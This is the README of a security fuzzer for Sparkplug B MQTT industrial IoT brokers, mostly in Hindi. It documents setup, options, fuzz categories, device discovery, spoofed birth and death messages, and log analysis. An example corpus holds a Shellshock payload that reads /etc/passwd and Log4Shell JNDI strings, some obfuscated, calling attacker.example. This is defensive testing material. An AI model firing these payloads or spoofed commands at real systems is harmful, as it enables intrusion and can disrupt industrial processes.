
Sparkplug B IIoT प्रोटोकॉल के लिए फ़ज़र
स्पार्कप्लग B MQTT प्रोटोकॉल कार्यान्वयनों के परीक्षण के लिए एक व्यापक सुरक्षा मूल्यांकन उपकरण। यह फ़ज़र सभी 9 संदेश प्रकारों में सभी प्रोटोकॉल फ़ील्ड्स का व्यवस्थित रूप से परीक्षण करता है, नेटवर्क पर लाइव उपकरणों की खोज करता है, और विश्लेषण के लिए विस्तृत लॉग तैयार करता है।
यह उपकरण लक्ष्य ब्रोकर को ख़राब, इंजेक्शन और प्रोटोकॉल-उल्लंघन करने वाले MQTT संदेश भेजता है। इसे केवल उन सिस्टमों के विरुद्ध चलाएँ जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अधिकार है। Sparkplug B ब्रोकर सामान्यतः OT/ICS वातावरण में स्थित होते हैं जहाँ अप्रत्याशित पेलोड भौतिक प्रक्रियाओं को बाधित कर सकते हैं — जब तक कि अन्यथा सिद्ध न हो, हर लक्ष्य को उत्पादन-निकट मानें।
यदि आप इस उपकरण का उपयोग करके Sparkplug B कार्यान्वयन में कोई कमज़ोरी खोजते हैं, तो कृपया प्रभावित विक्रेता के साथ समन्वित प्रकटीकरण का पालन करें। इस उपकरण में ही किसी सुरक्षा समस्या की रिपोर्ट करने के लिए, SECURITY.md देखें।
Sparkplug B विनिर्देशन औद्योगिक IoT (IIoT) वातावरण के लिए MQTT और Google Protocol Buffers पर निर्मित एक विषय नामस्थान और पेलोड प्रारूप को परिभाषित करता है। यह फ़ज़र Sparkplug B कार्यान्वयनों की सुरक्षा और मज़बूती का मूल्यांकन निम्नलिखित द्वारा करता है:
आधुनिक Debian/Ubuntu/Kali (PEP-668 सिस्टम) पर, --setup सिस्टम Python में pip install नहीं कर सकता — पहले वर्चुअल एनवायरनमेंट या pipx का उपयोग करें। अनुशंसित पथ:```bash
python3 -m venv .venv
source .venv/bin/activate
python3 sparkplug-fuzzer.py --setup
या यदि आप स्वयं venv प्रबंधित नहीं करना चाहते हैं तो `pipx run` के माध्यम से चलाएँ। पुराने सिस्टम पर जहाँ PEP-668 लागू नहीं है, सीधे `python3 sparkplug-fuzzer.py --setup` काम करता है।
`--setup` निम्नलिखित करेगा:
1. pip निर्भरताएँ स्थापित करें (`paho-mqtt`, `protobuf`)
2. [Eclipse Tahu](https://github.com/eclipse/tahu) भंडार का एक पिन किया हुआ टैग क्लोन करें (स्क्रिप्ट में `TAHU_REF` देखें)
3. `sparkplug_b.py` और `array_packer.py` सहायक मॉड्यूल कॉपी करें
4. `sparkplug_b.proto` को Python बाइंडिंग में संकलित करें (`protoc` उपलब्ध होने पर इसका उपयोग करता है, अन्यथा `grpcio-tools` पर वापस जाता है)
5. Tahu क्लोन को साफ करें
सेटअप के बाद, आपकी निर्देशिका में निम्नलिखित होना चाहिए:```
sparkplug-fuzzer.py # The fuzzer
sparkplug_b.py # Sparkplug B helper module (from Tahu)
array_packer.py # Array packing helper (from Tahu)
sparkplug_b_pb2.py # Generated protobuf bindings
requirements.txt # Python dependencies
python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer
This will:
1. Connect to the broker at `localhost:1883` पर ब्रोकर से कनेक्ट करें
2. Listen for 10 seconds to discover existing Sparkplug devices के लिए 10 सेकंड तक सुनें मौजूदा Sparkplug उपकरणों को खोजने
3. Establish the fuzzer as a Sparkplug node/device को एक Sparkplug नोड/उपकरण के रूप में स्थापित करें
4. Run all 12 fuzz categories (~635+ test cases) सभी 12 fuzz श्रेणियाँ (~635+ परीक्षण मामले) चलाएँ
5. Target any discovered devices with spoofed messages खोजे गए किसी भी उपकरण को नकली संदेशों से लक्षित करें
6. Write results to `sparkplug_fuzz.jsonl` परिणाम `sparkplug_fuzz.jsonl` में लिखें
## Usage
### Command-Line Options```
python3 sparkplug-fuzzer.py [OPTIONS]
| विकल्प | डिफ़ॉल्ट | विवरण |
|---|---|---|
-H, --host | localhost | MQTT ब्रोकर का होस्टनाम या IP |
-p, --port | 1883 (या 8883 के साथ --tls) | MQTT ब्रोकर पोर्ट |
-u, --username | कोई नहीं | MQTT उपयोगकर्ता नाम (MQTT_USERNAME env var को भी पढ़ता है) |
-P, --password | कोई नहीं | MQTT पासवर्ड (MQTT_PASSWORD को भी पढ़ता है; stdin से बिना इको के पढ़ने के लिए - पास करें) |
--tls | बंद | TLS पर कनेक्ट करें; यदि -p सेट नहीं है तो डिफ़ॉल्ट पोर्ट 8883 हो जाता है |
--cafile | कोई नहीं | TLS सर्वर प्रमाणपत्र सत्यापन के लिए CA बंडल |
--insecure | बंद | TLS होस्टनाम/प्रमाणपत्र सत्यापन छोड़ें (केवल परीक्षण के लिए) |
-g, --group | Sparkplug B Devices | Sparkplug समूह ID जिसके तहत फ़ज़र पंजीकृत होता है |
-n, --node | FuzzNode | फ़ज़र के लिए Sparkplug एज नोड ID |
-d, --device | FuzzDevice | फ़ज़र के लिए Sparkplug डिवाइस ID |
-c, --categories | all | चलाने के लिए फ़ज़ श्रेणियों की स्पेस-सेपरेटेड सूची |
--discovery-time | 10 | नेटवर्क डिस्कवरी के लिए निष्क्रिय रूप से सुनने के सेकंड |
--delay | 0.1 | फ़ज़ संदेशों के बीच सेकंड में विलंब |
| श्रेणी | विवरण | लगभग मामले |
|---|---|---|
boundary | सभी 19 संख्यात्मक डेटा प्रकारों के लिए न्यूनतम/अधिकतम/ओवरफ़्लो, मानों के साथ is_null, फ़्लैग संयोजन | ~200 |
string | स्ट्रिंग, टेक्स्ट, UUID, MetaData फ़ील्ड्स और STATE संदेशों में इंजेक्शन पेलोड (XSS, SQLi, फ़ॉर्मेट स्ट्रिंग, पथ ट्रैवर्सल, कमांड इंजेक्शन, नल बाइट्स) | ~100 |
type_mismatch | घोषित डेटाटाइप बनाम गलत प्रोटोबफ़ वैल्यू फ़ील्ड, अमान्य डेटाटाइप कोड, एकाधिक oneof फ़ील्ड | ~150 |
sequence | अनुक्रम अंतराल, डुप्लिकेट, पिछड़ा, रोलओवर, NBIRTH/NDEATH के बीच bdSeq बेमेल | ~20 |
timestamp | शून्य, अधिकतम uint64, दूर का भविष्य/अतीत, मीट्रिक बनाम पेलोड टाइमस्टैम्प असंगति, DateTime चरम | ~15 |
alias | विभिन्न मीट्रिक के लिए डुप्लिकेट उपनाम, चरम उपनाम मान, डेटा संदेशों में अपरिभाषित उपनाम | ~15 |
orphan | गैर-मौजूद डिवाइसों, नोड्स, समूहों को लक्षित डेटा/कमांड; अपरिभाषित टेम्पलेट संदर्भ | ~20 |
ordering | प्रोटोकॉल स्थिति उल्लंघन: जन्म से पहले डेटा, दोहरा जन्म, मृत्यु के बाद डेटा, गलत जन्म क्रम | ~15 |
recursive | नेस्टेड PropertySet श्रृंखलाएँ (गहराई 1-100), कुंजी/मान लंबाई बेमेल, PropertySetList विविधताएँ | ~15 |
dataset | कॉलम गणना बेमेल, पंक्ति तत्व बेमेल, प्रकार उल्लंघन, खाली/विशाल डेटासेट, कॉलम नामों में विशेष वर्ण | ~25 |
malformed | बाइनरी प्रोटोबफ़ भ्रष्टाचार: छोटा करना, बिट फ़्लिप, यादृच्छिक बाइट्स, ओवरलॉन्ग वेरिंट, गलत संदेश वर्ग | ~30 |
topic | केस विविधताएँ, गलत संस्करण, अतिरिक्त/लुप्त स्लैश, विशेष वर्ण, टॉपिक स्ट्रिंग्स में वाइल्डकार्ड | ~30 |
सभी श्रेणियाँ प्रमाणीकरण के साथ चलाएँ:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v
**क्रेडेंशियल पास करें `ps` में उन्हें उजागर किए बिना:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local
# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -
TLS के माध्यम से कनेक्ट करें:```bash
python3 sparkplug-fuzzer.py -H broker.example.com --tls -v
python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v
**निष्क्रिय प्रमाणीकरण मूल्यांकन + सक्रिय लेखन जांच:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v
केवल इंजेक्शन-संबंधित श्रेणियाँ चलाएँ:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed
**विस्तारित खोज धीमी गति के साथ (ब्रोकर लोड कम करें):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5
कस्टम समूह/नोड पहचान और लॉग फ़ाइल:```bash
python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv
**एक अलग टर्मिनल में ब्रोकर ट्रैफ़िक की निगरानी करें:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'
एयर-गैप्ड सेटअप एक पूर्व-क्लोन Tahu रिपो के साथ:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box
python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu
**प्रति-रन आउटपुट लेआउट:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl
# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2
बिल्ट-इन STRING_FUZZ_VALUES क्लासिक इंजेक्शन श्रेणियों (खाली / विशाल स्ट्रिंग्स, नल बाइट्स, फ़ॉर्मेट स्ट्रिंग्स, XSS, SQLi, पथ ट्रैवर्सल, प्रोटोटाइप प्रदूषण) को कवर करता है। वास्तविक अभियानों में अक्सर सेकंड-ऑर्डर पेलोड की आवश्यकता होती है जो ब्रोकर के डेटा को डाउनस्ट्रीम में उपभोग करने वाली किसी भी चीज़ पर लक्षित होते हैं — हिस्टोरियन शेल के माध्यम से मीट्रिक नामों को पाइप करते हैं, Java-आधारित SCADA होस्ट log4j में मान फीड करते हैं, डैशबोर्ड HTML में टैग नाम प्रस्तुत करते हैं, आदि।
--extra-string-payloads <FILE> फ़्लैग बिल्ट-इन में एक अतिरिक्त कॉर्पस जोड़ता है। फ़ॉर्मेट प्रति पंक्ति एक पेलोड, UTF-8 है। केवल व्हाइटस्पेस वाली पंक्तियाँ रखी जाती हैं (फ़ज़ में अक्सर जानबूझकर); पूरी तरह से खाली पंक्तियाँ हटा दी जाती हैं। फ़्लैग बिल्ट-इन सूची को बदलने के बजाय जोड़ता है, इसलिए मौजूदा कवरेज संरक्षित रहता है।```bash
cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF
python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v
फ़ज़र स्टार्टअप पर `[+] Extra string payloads: loaded N from <path>` प्रिंट करता है, और प्रत्येक पेलोड उन सभी स्थानों के माध्यम से उत्सर्जित होता है जो `STRING_FUZZ_VALUES` को इटरेट करते हैं — मुख्य रूप से `string` श्रेणी, लेकिन टाइप-मिसमैच जनरेटर के स्ट्रिंग-टाइप के मामलों में भी।
Hard limits: 10 MB फ़ाइल आकार, 10,000 पेलोड। यदि आपको अधिक की आवश्यकता है (और उसके अनुरूप रन-टाइम बजट है) तो स्क्रिप्ट के शीर्ष पर `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` को समायोजित करें।
## v0.2 रिलीज़ नोट्स
- `--output-dir` फ़्लैग और ऑटो-क्रीएटेड `./sparkplug-runs/<UTC-ts>_<host>/` डिफ़ॉल्ट — प्रत्येक रन अपनी निर्देशिका में जाता है ताकि रनों के बीच आर्टिफैक्ट्स टकरा न सकें।
- `--setup` के लिए `--tahu-path` फ़्लैग — एयर-गैप्ड परीक्षण वातावरण के लिए `eclipse/tahu` के स्थानीय क्लोन को इंगित करता है जहाँ आउटबाउंड `git clone` अवरुद्ध है। सफाई पर स्थानीय स्रोत कभी नहीं हटाया जाता।
- कंसोल + JSONL टाइमस्टैम्प्स को स्पष्ट `Z` प्रत्यय के साथ UTC पर बलपूर्वक सेट किया गया ताकि ब्रोकर लॉग के साथ क्रॉस-सहसंबंध टाइमज़ोन-अंकगणित-मुक्त हो।
- `paho.mqtt` लॉगर को डिफ़ॉल्ट रूप से WARNING पर थ्रॉटल किया गया; `-v` के तहत INFO पर, `-vv` के तहत DEBUG पर दृश्यमान। प्रति-पैकेट क्लाइंट टेलीमेट्री अब फ़ज़ सिग्नल को नहीं डुबोती।
- `tests/` के तहत pytest टेस्ट हार्नेस — FuzzLogger, टॉपिक हेल्पर, आउटपुट पथ रिज़ॉल्यूशन और `--tahu-path` सत्यापन को कवर करने वाले 23 परीक्षण। [परीक्षण चलाना](#running-the-tests) देखें।
## परीक्षण चलाना
टेस्ट हार्नेस नेटवर्क-स्वतंत्र सतह (लॉगर सहीता, टॉपिक बिल्डर, आउटपुट-पथ रिज़ॉल्यूशन, `--tahu-path` पार्सिंग) को कवर करता है और बिना ब्रोकर, paho-mqtt, या protobuf स्थापित किए चलता है।```bash
pip install -r requirements-dev.txt
pytest tests/
अपेक्षित: 23 passed। नेटवर्क-निर्भर पथ (PayloadBuilder protobuf, fuzz publishers, MQTT lifecycle) को जानबूझकर एक कंटेनरीकृत ब्रोकर के साथ भविष्य की एकीकरण-परीक्षण परत के लिए स्थगित कर दिया गया है।
### नेटवर्क डिस्कवरी
डिस्कवरी चरण के दौरान, फ़ज़र `spBv1.0/#` की सदस्यता लेता है और सभी Sparkplug ट्रैफ़िक को सुनता है। `DeviceTracker` घटक देखे गए संदेशों को पार्स करके एक लाइव नेटवर्क मैप बनाता है:
- **NBIRTH** संदेश एज नोड्स और उनकी मीट्रिक परिभाषाओं (नाम, उपनाम, डेटाटाइप) को प्रकट करते हैं
- **DBIRTH** संदेश डिवाइस और उनके मीट्रिक स्कीमा को प्रकट करते हैं
- **NDEATH/DDEATH** संदेश नोड/डिवाइस लाइफसाइकल स्थिति को ट्रैक करते हैं
- **STATE** संदेश होस्ट एप्लिकेशन और उनकी ऑनलाइन/ऑफलाइन स्थिति को प्रकट करते हैं
यह मैप लक्षित फ़ज़िंग चरण में वास्तविक डिवाइसों के वास्तविक मीट्रिक स्कीमा के साथ प्रासंगिक हमले भेजने के लिए उपयोग किया जाता है।
### प्रमाणीकरण मूल्यांकन
जब फ़ज़र `-u/-P` के बिना कनेक्ट होता है (और `MQTT_USERNAME`/`MQTT_PASSWORD` सेट नहीं हैं), तो यह केवल निष्क्रिय डिस्कवरी से ब्रोकर प्रमाणीकरण स्थिति प्राप्त करता है। यह लॉग में एक एकल `AUTH_ASSESSMENT` घटना और एक मुद्रित सारांश उत्पन्न करता है:
| सिग्नल | इसका अर्थ | इसे कैसे प्राप्त किया जाता है |
|---|---|---|
| `anon_connect_accepted` | ब्रोकर ने बिना क्रेडेंशियल्स के CONNECT स्वीकार किया | फ़ज़र का अपना CONNECT सफल रहा |
| `anon_subscribe_accepted` | ब्रोकर `spBv1.0/#` / `STATE/#` को अनाम क्लाइंटों को अग्रेषित करता है | सुनने की खिड़की के दौरान कम से कम एक RX संदेश आया |
| `anon_publish_accepted` | ब्रोकर अनाम क्लाइंटों से PUBLISH स्वीकार करता है | केवल तब सेट होता है जब `--probe-anon-write` पारित किया जाता है; QoS=1 प्रोब + PUBACK प्रतीक्षा |
| `unauth_endpoints` | बिना प्रमाणीकरण के देखे जा सकने वाले नोड्स/डिवाइस/होस्ट एप्लिकेशन | डिस्कवर किए गए नेटवर्क मैप में हर इकाई (प्रमाणीकरण कभी उत्पन्न नहीं हुआ) |
QoS=1 प्रोब ऑप्ट-इन है क्योंकि यह निष्क्रिय से सक्रिय में जाता है। QoS=0 के साथ ब्रोकर उन संदेशों को चुपचाप छोड़ देता है जिन्हें वह अस्वीकार करेगा, इसलिए लिखने-स्वीकृति की पुष्टि करने के लिए PUBACK पढ़ने की आवश्यकता होती है।
MQTT/Sparkplug में प्रति-एंडपॉइंट प्रमाणीकरण नहीं है — प्रमाणीकरण ब्रोकर-स्तरीय चिंता है। इसलिए "प्रमाणीकरण के बिना देखे जा सकने वाले एंडपॉइंट" को एंडपॉइंट की संपत्ति के बजाय *शून्य लागत पर पहुँचने योग्य लक्ष्यों* की सूची के रूप में रिपोर्ट किया जाता है।
### लक्षित फ़ज़िंग
व्यवस्थित फ़ज़िंग के बाद, उपकरण प्रत्येक खोजे गए डिवाइस को लक्षित करता है:
1. **नकली मृत्यु सूचनाएँ** — सदस्यों को यह धोखा देने के लिए NDEATH/DDEATH प्रकाशित करता है कि डिवाइस ऑफलाइन हो गए
2. **नकली जन्म प्रमाणपत्र** — खोजे गए नोड्स/डिवाइसों का प्रतिरूपण करने के लिए NBIRTH/DBIRTH प्रकाशित करता है
3. **कमांड इंजेक्शन** — प्रत्येक ज्ञात मीट्रिक के लिए सीमा मानों के साथ NCMD/DCMD संदेश भेजता है, यह परीक्षण करता है कि लक्ष्य इनबाउंड कमांड को मान्य करता है या नहीं
4. **पुनर्जन्म कमांड** — डिवाइसों को अपने जन्म को पुनर्प्रकाशित करने के लिए `Node Control/Rebirth` NCMD भेजता है
## आउटपुट और लॉग विश्लेषण
### लॉग प्रारूप
लॉग फ़ाइल JSON-लाइन्स प्रारूप (`.jsonl`) का उपयोग करती है — प्रति पंक्ति एक JSON ऑब्जेक्ट, `jq`, Python, या किसी भी JSON-सक्षम उपकरण के साथ विश्लेषण के लिए उपयुक्त।
64 KiB से बड़े पेलोड हेक्स-इनलाइन नहीं हैं; इसके बजाय `payload_hex` `sha256:<digest>+len=<n>` रखता है ताकि बहुत बड़े फ़ज़ मामलों के लिए लॉग सीमित रहे। `payload_len` हमेशा मौजूद होता है।
**TX रिकॉर्ड** (आउटबाउंड फ़ज़ संदेश):```json
{
"ts": "2026-04-10T15:30:00.123456Z",
"dir": "TX",
"case_id": "BOUNDARY-0042",
"category": "boundary",
"topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
"payload_hex": "0800120a0a06...",
"payload_len": 28,
"payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
"description": "Boundary Int32 = 2147483647 (int_value)"
}
RX रिकॉर्ड (नेटवर्क से इनबाउंड संदेश):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }
**ईवेंट रिकॉर्ड** (सिस्टम ईवेंट):```json
{
"ts": "2026-04-10T15:29:50.000000Z",
"dir": "EVENT",
"event": "DISCOVERY_COMPLETE",
"details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}
श्रेणी के अनुसार मामले गिनें:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn
**सभी स्ट्रिंग इंजेक्शन मामलों को निकालें:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl
सभी खोजे गए उपकरणों की सूची बनाएं:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl
**ब्रोकर डिस्कनेक्ट को ट्रिगर करने वाले मामलों का पता लगाएं:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl
प्रमाणीकरण मूल्यांकन खींचें:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl
**बिना प्रमाणीकरण के पहुँचे जा सकने वाले एंडपॉइंट्स की सूची:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl
समय के साथ TX गणना प्राप्त करें (दर विश्लेषण के लिए):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c
**उन सभी विषयों को निर्यात करें जो प्रकाशित किए गए थे:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u
पायथन के साथ विश्लेषण करें:```python import json
with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]
tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]
print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")
errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")
## प्रोटोकॉल कवरेज
### संदेश प्रकार
सभी 9 स्पार्कप्लग B संदेश प्रकारों का परीक्षण किया जाता है:
| संदेश प्रकार | विषय पैटर्न | विवरण | फज़र उपयोग |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | नोड जन्म प्रमाणपत्र | फज़र उपस्थिति स्थापित करता है; खोजे गए नोड्स के लिए स्पूफ किया गया; ऑर्डरिंग परीक्षण |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | नोड मृत्यु सूचना | MQTT अंतिम-इच्छा; खोजे गए नोड्स के लिए स्पूफ किया गया; ऑर्डरिंग परीक्षण |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | डिवाइस जन्म प्रमाणपत्र | फज़र डिवाइस स्थापित करता है; खोजे गए डिवाइसों के लिए स्पूफ किया गया; ऑर्डरिंग परीक्षण |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | डिवाइस मृत्यु सूचना | खोजे गए डिवाइसों के लिए स्पूफ किया गया; ऑर्डरिंग परीक्षण; अनाथ परीक्षण |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | नोड डेटा अपडेट | सीमा मान; अनुक्रम संख्याएँ; ऑर्डरिंग परीक्षण |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | डिवाइस डेटा अपडेट | अधिकांश फज़ श्रेणियों के लिए प्राथमिक वाहन |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | नोड कमांड | लक्षित फज़िंग (रीबर्थ कमांड); अनाथ परीक्षण |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | डिवाइस कमांड | खोजे गए डिवाइस मीट्रिक के विरुद्ध लक्षित फज़िंग; अनाथ परीक्षण |
| STATE | `STATE/{host_id}` | होस्ट एप्लिकेशन स्थिति (JSON) | दूषित JSON इंजेक्शन |
### डेटा प्रकार
सभी 19 स्पार्कप्लग B मीट्रिक डेटा प्रकारों का प्रकार-विशिष्ट सीमा मानों के साथ परीक्षण किया जाता है:
| कोड | प्रकार | प्रोटोबफ फ़ील्ड | परीक्षित सीमा मान |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128 (अतिप्रवाह), -129 (अंडरफ़्लो) |
| 2 | Int16 | int_value | 0, -32768, 32767, अतिप्रवाह/अंडरफ़्लो |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, अतिप्रवाह/अंडरफ़्लो |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, अतिप्रवाह |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, अधिकतम, न्यूनतम, अनंत, -अनंत, NaN |
| 10 | Double | double_value | 0.0, -0.0, अधिकतम, न्यूनतम, अनंत, -अनंत, NaN |
| 11 | Boolean | boolean_value | सत्य, असत्य; कच्चे int मानों (0, 1, 2, 255) के साथ भी परीक्षण किया गया |
| 12 | String | string_value | खाली, लंबा (64KB तक), इंजेक्शन पेलोड |
| 13 | DateTime | long_value | युग, अधिकतम, सुदूर भविष्य/अतीत |
| 14 | Text | string_value | String के समान इंजेक्शन पेलोड |
| 15 | UUID | string_value | खाली, मान्य, अमान्य प्रारूप, इंजेक्शन |
| 16 | DataSet | dataset_value | डेटासेट श्रेणी के माध्यम से संरचनात्मक उल्लंघन |
| 17 | Bytes | bytes_value | खाली, शून्य बाइट्स, यादृच्छिक, बड़ा |
| 18 | File | bytes_value | खाली, जादुई बाइट्स, बड़ा |
| 19 | Template | template_value | अपरिभाषित संदर्भ, अनाथ टेम्पलेट |
### फ़ील्ड कवरेज
फज़र 87+ अद्वितीय प्रोटोबफ फ़ील्ड पथों को कवर करता है, जिनमें शामिल हैं:
- **पेलोड रूट फ़ील्ड्स**: timestamp, seq, uuid, body, metrics
- **मीट्रिक फ़ील्ड्स**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties, और सभी value oneof वेरिएंट
- **MetaData फ़ील्ड्स**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: keys, values, type, is_null, recursive propertyset_value, propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements, सभी DataSetValue वेरिएंट
- **Template**: version, template_ref, is_definition, nested metrics, parameters
## आर्किटेक्चर
फज़र एक एकल पायथन फ़ाइल है जो इन घटकों में संगठित है:```
sparkplug-fuzzer.py
|
+-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
| Type definitions and fuzz value tables
|
+-- FuzzLogger
| JSON-lines file logging + console output
| Protobuf payload decoding
|
+-- DeviceTracker
| Passive network discovery
| Tracks groups, nodes, devices, metrics
|
+-- PayloadBuilder
| Valid payload construction (sparkplug_b helpers)
| Raw payload construction (sparkplug_b_pb2 direct)
| Binary corruption (truncate, flip, append)
|
+-- 12 Fuzz Generators
| Each is a Python generator yielding (topic, bytes, desc)
| Covers boundary, string, type, seq, timestamp, alias,
| orphan, ordering, recursive, dataset, malformed, topic
|
+-- SparkplugFuzzer
| Orchestration: connect, discover, fuzz, target, report
| Centralized publish with logging
| Auto-reconnect on disconnect
|
+-- CLI (argparse) + main()
Argument parsing and entry point
दो-स्तरीय पेलोड निर्माण एक प्रमुख डिज़ाइन निर्णय है:
PayloadBuilder.node_birth(), आदि) वैध, सुव्यवस्थित पेलोड बनाने के लिए sparkplug_b सहायक फ़ंक्शन का उपयोग करता है। उपस्थिति स्थापित करने और लक्षित स्पूफिंग के लिए उपयोग किया जाता है।PayloadBuilder.raw_payload(), corrupt_bytes()) सीधे sparkplug_b_pb2 प्रोटोबफ़ ऑब्जेक्ट या रॉ बाइट्स में हेरफेर करता है, मान्यता को दरकिनार करते हुए। जानबूझकर दूषित पेलोड के लिए उपयोग किया जाता है जो पार्सर त्रुटि प्रबंधन और एज केस का परीक्षण करते हैं।यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है — पूर्ण पाठ के लिए LICENSE देखें।
sparkplug-fuzzer.py --setup इंस्टॉल के समय Eclipse Tahu से निम्नलिखित घटकों को लाता है और उन्हें कार्यशील निर्देशिका में कॉपी करता है:
sparkplug_b.py — Sparkplug B सहायक मॉड्यूलarray_packer.py — एरे पैकिंग सहायकsparkplug_b.proto — प्रोटोकॉल बफ़र परिभाषा (sparkplug_b_pb2.py उत्पन्न करने के लिए उपयोग किया जाता है)Eclipse Tahu Apache License, Version 2.0 के तहत वितरित किया गया है। इस रिपॉजिटरी में Tahu की कोई भी स्रोत फ़ाइल पुनर्वितरित नहीं की गई है। पूर्ण एट्रिब्यूशन के लिए NOTICE देखें।
--probe-anon-write |
| बंद |
| डिस्कवरी के दौरान, यह पुष्टि करने के लिए एक QoS=1 प्रकाशन भेजें कि ब्रोकर अप्रमाणित PUBLISH स्वीकार करता है या नहीं |
-l, --log | sparkplug_fuzz.jsonl | आउटपुट लॉग फ़ाइल का नाम (सापेक्ष पथ --output-dir के अंदर आते हैं; निरपेक्ष पथ ज्यों-के-त्यों माने जाते हैं) |
--output-dir | ./sparkplug-runs/<UTC-ts>_<host>/ | प्रति-रन आउटपुट निर्देशिका। यदि मौजूद नहीं है तो बनाई जाती है। |
-v, --verbose | 0 | कंसोल वर्बोसिटी बढ़ाएँ (-v = जानकारी, -vv = डीबग)। -vv फ़ज़-जनरेटर स्किप्स को भी दिखाता है, और थ्रॉटल किया गया paho.mqtt लॉगर वर्बोसिटी के साथ INFO/DEBUG पर बढ़ जाता है। |
--setup | — | सभी निर्भरताएँ स्थापित करें और बाहर निकलें |
--tahu-path | — | eclipse/tahu (या इसकी python/core निर्देशिका) की स्थानीय क्लोन का पथ। git clone के बजाय एयर-गैप्ड वातावरण में --setup द्वारा उपयोग किया जाता है। |
--extra-string-payloads | — | अतिरिक्त स्ट्रिंग-इंजेक्शन पेलोड (प्रति पंक्ति एक, UTF-8) वाली फ़ाइल का पथ। अंतर्निर्मित STRING_FUZZ_VALUES में जोड़ा गया; उन्हें प्रतिस्थापित नहीं करता। अधिकतम 10 MB / 10,000 पेलोड। कस्टम स्ट्रिंग कॉर्पोरा देखें। |